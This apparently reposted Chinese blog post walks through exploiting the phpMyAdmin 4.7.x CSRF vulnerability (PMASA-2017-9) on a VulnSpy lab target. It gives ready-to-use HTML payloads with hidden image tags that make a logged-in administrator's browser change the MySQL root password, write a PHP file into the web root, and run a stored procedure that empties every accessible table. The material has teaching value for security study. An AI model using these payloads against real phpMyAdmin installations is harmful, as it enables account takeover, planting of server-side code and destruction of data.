zoukankan      html  css  js  c++  java
  • phpMyAdmin 4.7.x CSRF 漏洞利用

    phpMyAdmin 4.7.x CSRF 漏洞利用

    phpMyAdmin

    phpMyAdmin是一个以PHP(一种开源脚本语言)为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性


    CSRF(PMASA-2017-9)漏洞

    phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者可以通过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。

    我们可以结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。


    过程

    在线 phpMyAdmin CSRF
    (PS:注:重启演示靶机即可重置靶机)

    1.在线创建 phpMyAdmin 环境

    点击 创建VulnSpy 提供的创建靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)

    跳转到 VSPlate 后,直接点击GO按钮,便会自动创建一个 phpMyAdmin 环境

    打开演示地址的链接,我们的 phpMyAdmin 就创建完成了。

    使用帐号 root ,密码 toor ,登录 phpMyAdmin 。根据页面信息,我们可以发现当前 phpMyAdmin 的版本为 4.7.6,刚好匹配存在漏洞的 phpMyAdmin 版本。

    2.CSRF 漏洞利用 - 修改当前数据库用户密码

    如果要利用CSRF来删除或修改数据库内容,通查情况下需要提前知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,因此我做了两个几种较为通用的利用方式。

    在MySQL中支持使用SQL语句来修改当前用户密码。比如将当前用户密码修改为www.vulnspy.com,对应的SQL语句为:

    SET passsword=PASSWORD('www.vulnspy.com');
    

    演示:

    2.1模拟管理员登录phpMyAdmin的状态

    用帐号 root 密码 toor 登录 phpMyAdmin 。

    2.2 创建含有恶意代码的页面。

    首先建立一个html文件:vi 2.payload.html

    简单一点就只让他显示helloworld吧,因为目的是让他打开,内容不重要。
    代码如下:

    <p>Hello World</p>
    <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password
    %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" />
    
    2.3 用浏览器打开含有恶意代码的文件 2.payload.html

    紧接着我们回到2.1中打开的界面,发现已自动退出,而且用原来的密码 toor 已经无法登录

    2.4 使用密码 www.vulnspy.com 登录成功,表明利用成功

    3.CSRF 漏洞利用 - 写文件

    MySQL支持将查询结果写到文件当中,我们可以利用该特性来写入++PHP++文件。比如将代码<?php phpinfo();?>写到文件/var/www/html/test.php中,对应的SQL语句为:

    select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';
    

    演示:

    3.1 修改代码
    <p>Hello World</p>
    <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />
    
    3.2 用浏览器打开含有恶意代码的文件
    3.3 访问 test.php

    4 CSRF 漏洞利用 - 清空所有数据表

    如何做到大范围破坏,并产生直接影响呢,我们可以利用SQL语句来清空当前MySQL用户可操作的所有数据表。
    1)获取数据名和表名

    SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1
    

    2)将其拼接成删除语句,通过 execute 来执行生成的删除语句:

    set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);
    prepare stmt from @del;
    execute stmt;
    

    3)execute 一次只能执行一条SQL语句,因此我们可以利用循环语句来逐一执行

    DROP PROCEDURE IF EXISTS EMPT;
    DELIMITER $$
        CREATE PROCEDURE EMPT()
        BEGIN
            DECLARE i INT;
            SET i = 0;
            WHILE i < 100 DO
                SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
                PREPARE STMT FROM @del;
                EXECUTE STMT;
                SET i = i +1;
            END WHILE;
        END $$
    DELIMITER ;
    CALL EMPT();
    

    演示:

    4.1 payload如下
    <p>Hello World</p>
    <img src="虚拟地址/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" />
    
    4.2 用浏览器打开含有恶意代码的文件
    4.3 回到 phpMyAdmin 中查看数据

    哎??我们发现:数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。

  • 相关阅读:
    正则基础之——贪婪与非贪婪模式
    HTML、css2--IE标签整理
    jQuery技术内幕预览版.pdf3
    jQuery技术内幕预览版.pdf2
    HTML5 Canvas核心技术—图形、动画与游戏开发.pdf1
    jQuery技术内幕预览版.pdf1
    白帽子讲Web安全1.pdf
    js的 new image()用法[转]
    css权威指南(下)
    css权威指南(上)
  • 原文地址:https://www.cnblogs.com/fcgfcgfcg/p/9221217.html
Copyright © 2011-2022 走看看